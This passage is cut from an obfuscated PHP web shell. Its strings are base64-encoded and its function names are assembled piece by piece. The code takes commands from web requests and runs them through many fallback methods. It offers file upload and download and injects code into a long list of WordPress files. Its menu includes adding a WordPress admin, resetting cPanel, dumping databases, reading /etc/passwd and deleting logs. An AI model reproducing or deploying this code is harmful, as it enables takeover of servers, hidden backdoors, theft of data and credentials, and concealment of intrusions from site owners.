wb('PjxjZW50ZXI+RW5jcnlwdG9yPC9jZW50ZXI+PC9hPjwvdGQ+PHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('Zm9vdGVy')) . wb('PjxjZW50ZXI+SW5qZWN0Qkw8L2NlbnRlcj48L2E+PC90ZD48L3RyPjx0cj4gPHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('YWRkdXNlcndw')) . wb('PjxjZW50ZXI+QWRkIEFkbWluIFdQPC9jZW50ZXI+PC9hPjwvdGQ+PHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('Y3BhbmVsLXJlc2V0')) . wb('PjxjZW50ZXI+Q3BhbmVsIFJlc2V0PC9jZW50ZXI+PC9hPjwvdGQ+PHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('emlwLW1lbnU=')) . wb('PjxjZW50ZXI+WmlwIE1lbnU8L2NlbnRlcj48L2E+PC90ZD48dGQ+PGEgY2xhc3M9ImZvcm0tY29udHJvbCBhangiIGhyZWY9P2Q9') . hex($d) . wb('Jg==') . hex(wb('c3ltbGluaw==')) . wb('PjxjZW50ZXI+U3ltbGluazwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0/ZD0=') . hex($d) . wb('Jg==') . hex(wb('cmRw')) . wb('PjxjZW50ZXI+Sy1SRFAgU2hlbGw8L2NlbnRlcj48L2E+PC90ZD48L3RyPjx0cj4gPHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('ZGItZHVtcA==')) . wb('PjxjZW50ZXI+REIgRHVtcDwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0/ZD0=') . hex($d) . wb('Jg==') . hex(wb('Y29uZmln')) . wb('PjxjZW50ZXI+L2V0Yy9wYXNzd2Q8L2NlbnRlcj48L2E+PC90ZD48dGQ+PGEgY2xhc3M9ImZvcm0tY29udHJvbCBhangiIGhyZWY9P2Q9') . hex($d) . wb('Jg==') . hex(wb('aW5qZWN0YmRzcWw=')) . wb('PjxjZW50ZXI+SGlkZGVuIEJEPC9jZW50ZXI+PC9hPjwvdGQ+PHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('eGluZm8=')) . wb('PjxjZW50ZXI+WC1JbmZvPC9jZW50ZXI+PC9hPjwvdGQ+PHRkPjxhIGNsYXNzPSJmb3JtLWNvbnRyb2wgYWp4IiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('ZGVsZXRlLWxvZ3M=')) . wb('PjxjZW50ZXI+RGVsZXRlIExvZ3M8L2NlbnRlcj48L2E+PC90ZD48L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+IDx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0iIyI+PGNlbnRlcj4jIyMjIzwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0iIyI+PGNlbnRlcj4jIyMjIzwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0iIyI+PGNlbnRlcj4jIyMjIzwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0iIyI+PGNlbnRlcj4jIyMjIzwvY2VudGVyPjwvYT48L3RkPjx0ZD48YSBjbGFzcz0iZm9ybS1jb250cm9sIGFqeCIgaHJlZj0iIyI+PGNlbnRlcj4jIyMjIzwvY2VudGVyPjwvYT48L3RkPjwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PGJyPjxicj4='); } function GOTONYA() { echo wb('PHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sLXNtIiBhcmlhLWxhYmVsPSJPcGVuIHRoaXMgc2VsZWN0IG1lbnUiIG9uY2hhbmdlPSJ0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS52YWx1ZSAmJiAod2luZG93LmxvY2F0aW9uID0gdGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpOyI+PG9wdGlvbiBzZWxlY3RlZD5HbyB0byAuLjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Ij9kPQ==') . hex($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) . wb('Ij5Ib21lPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0i') . $this_file . wb('Ij5UaGlzIEZpbGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSI/ZD0=') . hex(wb('L3RtcA==')) . wb('Ij4vdG1wPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iP2Q9') . hex(wb('L3Zhci90bXA=')) . wb('Ij4vdmFyL3RtcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Ij9kPQ==') . hex(wb('L2Rldi9zaG0=')) . wb('Ij4vZGV2L3NobTwvb3B0aW9uPg=='); if ($GNJ[26](wb('L2V0Yy9odHRwZA=='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9odHRwZA==')) . wb('Jz4vZXRjL2h0dHBkPC9vcHRpb24+'); } if ($GNJ[26](wb('L2V0Yy9odHRwZC9jb25mL3BsZXNrLmNvbmYuZC92aG9zdHM='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9odHRwZC9jb25mL3BsZXNrLmNvbmYuZC92aG9zdHM=')) . wb('Jz4vZXRjL2h0dHBkL2NvbmYvcGxlc2suY29uZi5kL3Zob3N0czwvb3B0aW9uPg=='); } if ($GNJ[26](wb('L2V0Yy9hcGFjaGUy'))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9hcGFjaGUy')) . wb('Jz4vZXRjL2FwYWNoZTI8L29wdGlvbj4='); } if ($GNJ[26](wb('L2V0Yy9uZ2lueC1zcA=='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9uZ2lueC1zcA==')) . wb('Jz4vZXRjL25naW54LXNwPC9vcHRpb24+'); } if ($GNJ[26](wb('L2V0Yy9hcGFjaGU='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9hcGFjaGU=')) . wb('Jz4vZXRjL2FwYWNoZTwvb3B0aW9uPg=='); } if ($GNJ[26](wb('L3Vzci9sb2NhbC9sc3dz'))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L3Vzci9sb2NhbC9sc3dz')) . wb('Jz4vdXNyL2xvY2FsL2xzd3M8L29wdGlvbj4='); } if ($GNJ[26](wb('IC9ldGMvbmdpbng='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9uZ2lueA==')) . wb('Jz4vZXRjL25naW54PC9vcHRpb24+'); } echo wb('PC9zZWxlY3Q+'); } function ScanMenu($d) { echo wb('PGhyPjxicj48Y2VudGVyPjxoMj5TY2FubmVyIFk8L2gyPjwvY2VudGVyPjxicj48Zm9ybSBtZXRob2Q9J1BPU1QnPiA8Y2VudGVyPiA8ZGl2IGNsYXNzPSdyb3cgY2xlYXJmaXgnPiA8ZGl2IGNsYXNzPSdjb2wtbWQtMyc+IDxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('cG9ydC1zY2FubmVy')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPlBvcnQgU2Nhbm5lcjwvY2VudGVyPjwvYT4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTMnPiA8YSBjbGFzcz0nZm9ybS1jb250cm9sIGFqeCcgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnox')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkJhY2tkb29yIFNjYW5uZXIgMTwvY2VudGVyPjwvYT4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTMnPiA8YSBjbGFzcz0nZm9ybS1jb250cm9sIGFqeCcgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnoy')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkJhY2tkb29yIFNjYW5uZXIgMjwvY2VudGVyPjwvYT4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTMnPiA8YSBjbGFzcz0nZm9ybS1jb250cm9sIGFqeCcgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnoz')) . wb('JyBoZWlnaHQ9JzEwJz48Y2VudGVyPkJhY2tkb29yIFNjYW5uZXIgMzwvY2VudGVyPjwvYT4gPC9kaXY+PC9kaXY+PC9jZW50ZXI+PC9mb3JtPjxicj4='); } function b64ed($xf) { $_a = wb('Yg=='); $_b = wb('YQ=='); $_c = wb('cw=='); $_d = wb('ZQ=='); $_e = wb('Ng=='); $_f = wb('NA=='); $_g = wb('Xw=='); $_h = wb('ZQ=='); $_i = wb('bg=='); $_j = wb('Yw=='); $_k = wb('bw=='); $_l = wb('ZA=='); $_m = wb('ZQ=='); $b64 = $_a . $_b . $_c . $_d . $_e . $_f . $_g . $_h . $_i . $_j . $_k . $_l . $_m; return $b64($xf); } function b64dd($xf) { $_a = wb('Yg=='); $_b = wb('YQ=='); $_c = wb('cw=='); $_d = wb('ZQ=='); $_e = wb('Ng=='); $_f = wb('NA=='); $_g = wb('Xw=='); $_h = wb('ZA=='); $_i = wb('ZQ=='); $_j = wb('Yw=='); $_k = wb('bw=='); $_l = wb('ZA=='); $_m = wb('ZQ=='); $b64 = $_a . $_b . $_c . $_d . $_e . $_f . $_g . $_h . $_i . $_j . $_k . $_l . $_m; return $b64($xf); } function ex($cmd) { global $GNJ; if (function_exists(wb('c3lzdGVt'))) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists(wb('ZXhlYw=='))) { @exec($cmd, $results); $buff = join(wb('Cg=='), $results); } elseif (function_exists(wb('cGFzc3RocnU='))) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists(wb('c2hlbGxfZXhlYw=='))) { $buff = @shell_exec($cmd); } elseif (function_exists(wb('cHJvY19vcGVu'))) { $desc = array(0 => array(wb('cGlwZQ=='), wb('cg==')), 1 => array(wb('cGlwZQ=='), wb('dw==')), 2 => array(wb('cGlwZQ=='), wb('dw=='))); $handle = proc_open($cmd, $desc, $pipes); if (is_resource($handle)) { if (function_exists(wb('ZnJlYWQ=')) && function_exists(wb('ZmVvZg=='))) { while (!feof($pipes[1])) { $buff .= fread($pipes[1], 512); } } elseif (function_exists(wb('ZmdldHM=')) && function_exists(wb('ZmVvZg=='))) { while (!feof($pipes[1])) { $buff .= fgets($pipes[1], 512); } } } pclose($handle); } elseif (function_exists(wb('cG9wZW4='))) { $handle = popen($cmd, wb('cg==')); if (is_resource($handle)) { if (function_exists(wb('ZnJlYWQ=')) && function_exists(wb('ZmVvZg=='))) { while (!feof($handle)) { $buff .= fread($handle, 512); } } elseif (function_exists(wb('ZmdldHM=')) && function_exists(wb('ZmVvZg=='))) { while (!feof($handle)) { $buff .= fgets($handle, 512); } } } pclose($handle); } $buff = wordwrap($GNJ[15]($buff)); return $buff; } function featureShell($cmd, $cwd) { global $GNJ; $stdout = array(); if (preg_match(wb('L15ccypjZFxzKiQv'), $cmd)) { } elseif (preg_match(wb('L15ccypjZFxzKyguKylccyooMj4mMSk/JC8='), $cmd)) { $GNJ[2]($cwd); preg_match(wb('L15ccypjZFxzKyhbXlxzXSspXHMqKDI+JjEpPyQv'), $cmd, $match); $GNJ[2]($match[1]); } elseif (preg_match(wb('L15ccypkb3dubG9hZFxzK1teXHNdK1xzKigyPiYxKT8kLw=='), $cmd)) { $GNJ[2]($cwd); preg_match(wb('L15ccypkb3dubG9hZFxzKyhbXlxzXSspXHMqKDI+JjEpPyQv'), $cmd, $match); return featureDownload($match[1]); } else { $GNJ[2]($cwd); $pathxr = dirname(__FILE__); if ($GNJ[26]($pathxr . wb('L21hUmk='))) { exec($pathxr . "\57\x6d\x61\122\x69\40\47{$cmd}\47", $stdout); } elseif ($GNJ[26]($pathxr . wb('L194'))) { exec($pathxr . "\x2f\137\x78\x20\x27{$cmd}\47", $stdout); } else { exec($cmd, $stdout); } } return array(wb('c3Rkb3V0') => $stdout, wb('Y3dk') => $GNJ[3]); } function featurePwd() { return array(wb('Y3dk') => $GNJ[3]); } function featureHint($fileName, $cwd, $type) { global $GNJ; $GNJ[2]($cwd); if ($type == wb('Y21k')) { $cmd = "\x63\x6f\155\x70\147\145\156\x20\x2d\143\40{$fileName}"; } else { $cmd = "\143\157\x6d\x70\147\145\156\x20\55\x66\x20{$fileName}"; } $cmd = "\x2f\142\x69\x6e\x2f\142\x61\x73\x68\40\x2d\143\40\42{$cmd}\42"; $files = explode(wb('Cg=='), shell_exec($cmd)); return array(wb('ZmlsZXM=') => $files); } function featureDownload($filePath) { global $GNJ; $file = @fgt($filePath); if ($file === false) { return array(wb('c3Rkb3V0') => array(wb('RmlsZSBub3QgZm91bmQgLyBubyByZWFkIHBlcm1pc3Npb24u')), wb('Y3dk') => $GNJ[3]); } else { return array(wb('bmFtZQ==') => basename($filePath), wb('ZmlsZQ==') => base64_encode($file)); } } function featureUpload($path, $file, $cwd) { global $GNJ; $GNJ[2]($cwd); $f = @$GNJ[17]($path, wb('d2I=')); if ($f === false) { return array(wb('c3Rkb3V0') => array(wb('SW52YWxpZCBwYXRoIC8gbm8gd3JpdGUgcGVybWlzc2lvbi4=')), wb('Y3dk') => $GNJ[3]); } else { $GNJ[18]($f, b64dd($file)); $GNJ[19]($f); return array(wb('c3Rkb3V0') => array(wb('RG9uZS4=')), wb('Y3dk') => $GNJ[3]); } } if (isset($_GET[wb('ZmVhdHVyZQ==')])) { $response = NULL; switch ($_GET[wb('ZmVhdHVyZQ==')]) { case wb('c2hlbGw='): $cmd = $_POST[wb('Y21k')]; if (!preg_match(wb('LzI+Lw=='), $cmd)) { $cmd .= wb('IDI+JjE='); } $response = featureShell($cmd, $_POST[wb('Y3dk')]); break; case wb('cHdk'): $response = featurePwd(); break; case wb('aGludA=='): $response = featureHint($_POST[wb('ZmlsZW5hbWU=')], $_POST[wb('Y3dk')], $_POST[wb('dHlwZQ==')]); break; case wb('dXBsb2Fk'): $response = featureUpload($_POST[wb('cGF0aA==')], $_POST[wb('ZmlsZQ==')], $_POST[wb('Y3dk')]); } header(wb('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29u')); echo json_encode($response); die; } $s_win = strtolower($GNJ[22](php_uname(), 0, 3)) == wb('d2lu') ? true : false; $ds = @ini_get(wb('ZGlzYWJsZV9mdW5jdGlvbnM=')); function exe($cmd) { $result = ''; if (!empty($cmd)) { if (is_callable(wb('ZXhlYw=='))) { exec($cmd, $result); $result = join(wb('Cg=='), $result); } elseif (class_exists(wb('Q09N'))) { $dWs = new COM(wb('V1NjcmlwdC5zaGVsbA==')); $exec = $dWs->exec(wb('Y21kLmV4ZSAvYyA=') . $cmd); $stdout = $exec->StdOut(); $result = $stdout->ReadAll(); } elseif (is_callable(wb('c2hlbGxfZXhlYw=='))) { $result = shell_exec($cmd); } elseif (is_callable(wb('c3lzdGVt'))) { @ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean(); } elseif (is_callable(wb('cGFzc3RocnU='))) { @ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean(); } elseif (($result = `{$cmd}`) !== false) { } elseif (is_resource($fp = popen($cmd, wb('cg==')))) { $result = ''; while (!feof($fp)) { $result .= fread($fp, 1024); } pclose($fp); } elseif (class_exists(wb('UmVmbGVjdGlvbkZ1bmN0aW9u'))) { @ob_start(); $function = new ReflectionFunction(wb('c3lzdGVt')); $function->invoke($cmd); $result = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists(wb('Y2FsbF91c2VyX2Z1bmNfYXJyYXk='))) { @ob_start(); $call_user_func_array(wb('c3lzdGVt'), array($cmd)); $result = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists(wb('Y2FsbF91c2VyX2Z1bmM='))) { @ob_start(); call_user_func(wb('c3lzdGVt'), $cmd); $result = @ob_get_contents(); @ob_end_clean(); } } return $result; } function stopmd5() { unset($_SESSION[wb('c2F0aW5nZ2E=')]); } function startmd5() { $_SESSION[wb('c2F0aW5nZ2E=')] = wb('YXBha2F1bGlhdGxpYXRueWV0'); } function strposa($haystack, $needles, $offset = 0) { global $GNJ; foreach ($needles as $needle) { if ($GNJ[30]($haystack, $needle, $offset) !== false) { return true; } } return false; } function prepend($string, $orig_filename) { global $GNJ; $context = stream_context_create(); $orig_file = $GNJ[17]($orig_filename, wb('cg=='), 1, $context); $temp_filename = tempnam(sys_get_temp_dir(), wb('cGhwX3ByZXBlbmRf')); file_put_contents($temp_filename, $string); file_put_contents($temp_filename, $orig_file, FILE_APPEND); $GNJ[19]($orig_file); $GNJ[10]($orig_filename); $GNJ[27]($temp_filename, $orig_filename); echo wb('PGRpdj48c3Ryb25nPg==') . $orig_filename . wb('PC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOnJlZDsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+'); } function decno($string) { global $GNJ; $key = wb('TUFYSU1fTTg='); $resultdoh = ''; $string = b64dd($string); for ($i = 0; $i < strlen($string); $i++) { $char = $GNJ[22]($string, $i, 1); $keychar = $GNJ[22]($key, $i % strlen($key) - 3, 1); $char = chr(ord($char) - ord($keychar)); $resultdoh .= $char; } return $resultdoh; } $enx0 = array(wb('ZWRpdC1mb3JtLWFkdmFuY2VkLnBocA=='), wb('bGluay1wYXJzZS1vcG1sLnBocA=='), wb('bXMtc2l0ZXMucGhw'), wb('b3B0aW9ucy13cml0aW5nLnBocA=='), wb('dGhlbWVzLnBocA=='), wb('aHR0cHMucGhw'), wb('Y2xhc3MtaHR0cHMucGhw'), wb('YWRtaW4tYWpheC5waHA='), wb('ZWRpdC1mb3JtLWNvbW1lbnQucGhw'), wb('bGluay5waHA='), wb('bXMtdGhlbWVzLnBocA=='), wb('X0RvY3VtZW50LnBocA=='), wb('cGx1Z2luLWVkaXRvci5waHA='), wb('YWRtaW4tZm9vdGVyLnBocA=='), wb('ZWRpdC1saW5rLWZvcm0ucGhw'), wb('cmVnaXN0cmF0aW9uLWZ1bmN0aW9ucy5waHA='), wb('bG9hZC1zY3JpcHRzLnBocA=='), wb('bXMtdXBncmFkZS1uZXR3b3JrLnBocA=='), wb('YWRtaW4tZnVuY3Rpb25zLnBocA=='), wb('ZWRpdC5waHA='), wb('bG9hZC1zdHlsZXMucGhw'), wb('bXMtdXNlcnMucGhw'), wb('cGx1Z2lucy5waHA='), wb('YWRtaW4taGVhZGVyLnBocA=='), wb('bGljZW5zZXMucGhw'), wb('ZWRpdC10YWctZm9ybS5waHA='), wb('bWVkaWEtbmV3LnBocA=='), wb('bXktc2l0ZXMucGhw'), wb('YXBwcy5waHA='), wb('cG9zdC1uZXcucGhw'), wb('dXBncmFkZS10aGVtZXMucGhw'), wb('c2FuZHdpY2gucGhw'), wb('ZWRpdC10YWdzLnBocA=='), wb('bm9vcC5waHA='), wb('bWVkaWEucGhw'), wb('bmF2LW1lbnVzLnBocA=='), wb('cG9zdHMucGhw'), wb('YWRtaW4tcG9zdC5waHA='), wb('ZXhwb3J0LnBocA=='), wb('Tm90ZS5waHA='), wb('bWVkaWEtdXBsb2FkLnBocA=='), wb('bmV0d29yay5waHA='), wb('cHJlc3MtdGhpcy5waHA='), wb('dXBsb2FkLnBocA=='), wb('YXN5bmMtdXBsb2FkLnBocA=='), wb('bWVudS1oZWFkZXIucGhw'), wb('b3B0aW9ucy1kaXNjdXNzaW9uLnBocA=='), wb('cHJpdmFjeS5waHA='), wb('dXNlci1lZGl0LnBocA=='), wb('bWVudS5waHA='), wb('b3B0aW9ucy1nZW5lcmFsLnBocA=='), wb('cHJvZmlsZS5waHA='), wb('dXNlci1uZXcucGhw'), wb('bW9kZXJhdGlvbi5waHA='), wb('b3B0aW9ucy1oZWFkLnBocA=='), wb('cmV2aXNpb24ucGhw'), wb('dXNlcnMucGhw'), wb('Y3VzdG9tLWJhY2tncm91bmQucGhw'), wb('bXMtYWRtaW4ucGhw'), wb('b3B0aW9ucy1tZWRpYS5waHA='), wb('c2V0dXAtY29uZmlnLnBocA=='), wb('d2lkZ2V0cy5waHA='), wb('dGhlbWUtc2luZ2xlLnBocA=='), wb('Y3VzdG9tLWhlYWRlci5waHA='), wb('bXMtZGVsZXRlLXNpdGUucGhw'), wb('b3B0aW9ucy1wZXJtYWxpbmsucGhw'), wb('dGVybS5waHA='), wb('Y3VzdG9taXplLnBocA=='), wb('bGluay1hZGQucGhw'), wb('bXMtZWRpdC5waHA='), wb('b3B0aW9ucy5waHA='), wb('ZWRpdC1jb21tZW50cy5waHA='), wb('bGluay1tYW5hZ2VyLnBocA=='), wb('bXMtb3B0aW9ucy5waHA='), wb('b3B0aW9ucy1yZWFkaW5nLnBocA=='), wb('eG1scnBjLnBocA=='), wb('Y29tbWVudHMucGhw'), wb('ZnJvbnQtcGFnZS5waHA='), wb('aG9tZS5waHA='), wb('LmRlZmF1bHQucGhw'), wb('aGVhZGVyLnBocA=='), wb('c2luZ3VsYXIucGhw'), wb('c2luZ2xlLnBocA=='), wb('c2luZ2xlLXdvcmRwcmVzcy5waHA='), wb('cGFnZS5waHA='), wb('Y2F0ZWdvcnkucGhw'), wb('dGFnLnBocA=='), wb('dGF4b25vbXkucGhw'), wb('YXV0aG9yLnBocA=='), wb('ZGF0ZS5waHA='), wb('YXJjaGl2ZS5waHA='), wb('c2VhcmNoLnBocA=='), wb('YXR0YWNobWVudC5waHA='), wb('aW1hZ2UucGhw'), wb('NDA0LnBocA=='), wb('aHR0cHMucGhw'), wb('bm9vcC5waHA='), wb('a2F5ZWxpLnBocA=='), wb('RG9jdW1lbnQucGhw'), wb('Y2xhc3Mtd3AtY3VzdG9taXplLW5hdi1tZW51LWN1c3RvbWl6ZS5waHA='), wb('Tm90ZS5waHA='), wb('LmRlZmF1bHQucGhw'), wb('X0RvY3VtZW50LnBocA=='), wb('Zm9vdGVyX2JhY2t1cC5waHA='), wb('aGVhZGVyX2JhY2t1cC5waHA='), wb('YXBwcy5waHA='), wb('bGljZW5zZXMucGhw'), wb('aW5kZXgucGhw'), wb('cmVtb3ZlLnBocA=='), wb('bmdpbngtc2Vydi5waHA='), wb('bWF3ZXMucGhw'), wb('cmV0YS5waHA=')); $enx1 = array(wb('aHR0cHMucGhw'), wb('bm9vcC5waHA='), wb('a2F5ZWxpLnBocA=='), wb('RG9jdW1lbnQucGhw'), wb('cmV0YS5waHA='), wb('bWF3ZXMucGhw'), wb('Tm90ZS5waHA='), wb('LmRlZmF1bHQucGhw'), wb('X0RvY3VtZW50LnBocA=='), wb('Zm9vdGVyX2JhY2t1cC5waHA='), wb('aGVhZGVyX2JhY2t1cC5waHA='), wb('YXBwcy5waHA='), wb('bGljZW5zZXMucGhw'), wb('cmVtb3ZlLnBocA=='), wb('bmdpbngtc2Vydi5waHA='), wb('aW5kZXgucGhw')); $eft0 = array(wb('bGFuZ3VhZ2U='), wb('aG9va3M='), wb('aW1hZ2Vz'), wb('YWRtaW5z'), wb('bWF3ZXM='), wb('a2F5ZWxp'), wb('cmV0YQ=='), wb('c2FrYWk='), wb('SGVscA=='), wb('ZG9jdW1lbnRz'), wb('Z2l0a2VlcA=='), wb('Z2l0aWdub3Jl')); $itemsxz = array(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3hMS3d4THVyc3JTR3Vidkc=')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3U3V3Uwc0JseExHRnJNTFN3YWU2cXRLdWVzMnVybnF1dmJmQ2pMQ3R3TFhIdHJiWnNtYTlyNzg9')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3ByakJ4SHVvdTZnPQ==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3k3NjkwYkptdmErLw==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3lxckVrSHVvc2FjPQ==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3lxckVrWHVvc2FjPQ==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3VibTkwbnVvdTZnPQ==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd2lubC9rWHVjdktUUQ==')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3pudDhsWU51ZTZYSHJNVT0=')), decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3pudDh4cmxtc2JDN3dRPT0='))); $sox = wb('alZWaGE5c3dFUDBycWpIRUJyZE5zbjJLOGFDMDNSaURGdEtPZmRpR1VleHpMV0pMbmlRdmJVUCsrMDZTSFdkWm1neENMSi91bnQ2N081MzlyR3o1TWxYc0ZaTEorL0U0OWxlU2FVaHB3dHVxaW4yUVVzanRteXFocXBKUnkya041SnpHWkJVVGxzZmtjc0g0cFNySk9SdkZmazZoRmp4QnFCd1c3Uk11V0JFVUxjODBFenlGWjZhMENrWk54bldWRmtJdVIyRzQ5aHVXSjRNcENFMk1OU2JuazNEZFNNWTEwNEYzTzUvZnoyZmttdktSSnNiVEMyTkUxTUVrakRkZFNMaTJsckd6TkVLeDUxU0JWaXdQd24wNG82Nkg2MzEySVhzeGszZ0RsWUloOHR2Vi9PN3ozYWNaK1VoWkJUblJnamhYcHVDQ2tNZVNLWUsvWHkwbWsyU2l4aDFDZVU2NFFONVUwK29Dajlsa1pjNWs0RjNpdXEycFdoclN2aExaTWluTXYyaUFCejVySXI4UlVrZW1HRnpZaDlJeWVqZTJXVHF6QVR1aXVuMFNPUDg5UGFBeXlSb3RwR29nUzZpVTlDVVlKeC9jd210WUExN2tTUytNSnZ2R0ZScW5CNHhJdVpFaUE2VVM4MHdkYTlzcTBkNTVLQVREbE9QTlZDcEJpVlptRVBRSTRWdTFWZzFkY1dKQmQvV2dUcUMxS1crNnFEQU5qRDhGN296djQ1OFJKdWlJdytTVXcvUnRCNU55czdrbCs5Qm1obitCMStTRm1BeGdUMGo0RFZLQlkyMDZCRXM1czZWRUNhc1Mrd1kxck0zbEFGRTR6QVA2SDJ4MEpqZ0hlNE9JQmxrelRqWGtDTE5BY2t2YjZBNmtsL1ltVUpmb2d5ZytQbks4N0s3RVR1U1FyRzFXc09DOHJkT3NwUHdKOHRTNDRkVkp0b21xa0dqUVlVWDlQSW42VVJLWlVXSTdnUEgwcjVOY1JHaFQ0bVpIT09UMy92b0xtZDllM1NCYm4vR20xVWxoL1B2WVlZeTUwWEVnZkVaY0lDSVVsdFJPcDdnZE56RUdXb1AwbzlRZWIrNi9QaDRtTnlDY0ltaEJEbEIwOG83UW01Nm1odzF3ak43MHYrZ2h5RWw2bXlLcmhPck02TlM5OVduZXQweitzWmptc2tPa3QzWmpJZTYvSDZTbjVHTzc0Vlcwa3MrNk1kMzF2TmZ0L2VBZVV2b0Q='); $local = wb('M1Z0N2M5dEdrdjk3djhVRXF6T0JGUWtTeEVzaVJYcjlVSFpkY2V5VTVFM2RycWh6Z2NCQWhBVUNDQUJLbEVYZVo3L3Vuc0dERW0wNXlWM3U2bHloT0pqcDZlbnAvdlZqQnN6SjgyeVJzVVZaWmg5elhtUnBVdkNQZmhwdzFScFkycGhkcFdYS3pzclZpemRqOW1udDN2NWp4TUpWNHBkUm1yQXNqNUx5YlhvVkpXdFZZL2VNKzR1VUtiTzE2Yy9XUTJObURLeloyZ3JoWTg3V3RqVXpUQU8rQjlCdnp5ejRndWJhQlJJbmdEWjhtM3hHajBjend3RnEyNGEyMys1ZU85Z0ZUR0RZZGJBWGlRekxsbndNd2RhaFpqMWtCak5yQ0N5SDBCMUNsL2ltR2E2SlF6Z0pSY1JSbUl5TDQwcFZteVp3ZUhUaFk0aHVTNUNzM2FNWlNDNVhSWXExNDBoS1MwaFBTN25JQkNRbXpaQ294L1NOVkNpajJBeE9vNDBiVWdhL0dzUjV4SFFnSkxPRURsQTFPSVI3b2tWUkxQZTQ3a2VkZ1NhQWdXRTR6YTZIYUFJcHJtdUx6Y0ZNR2dwcEVkU3hWUHNlYVFWN2ErWU02QXQydjdhNFVKK3p5OTV3QkhzeW1HQXZHQmx5cDBLTnRXWk13UUczSURlUHFrVktGMmNNaEQ1c01va3JoREZjaVNJVTNVSUc0ck1lRHNYR2FUWGFJODUzQkZZTTA1UUl3SzNWZkVYVElFbkV4NVZxRzV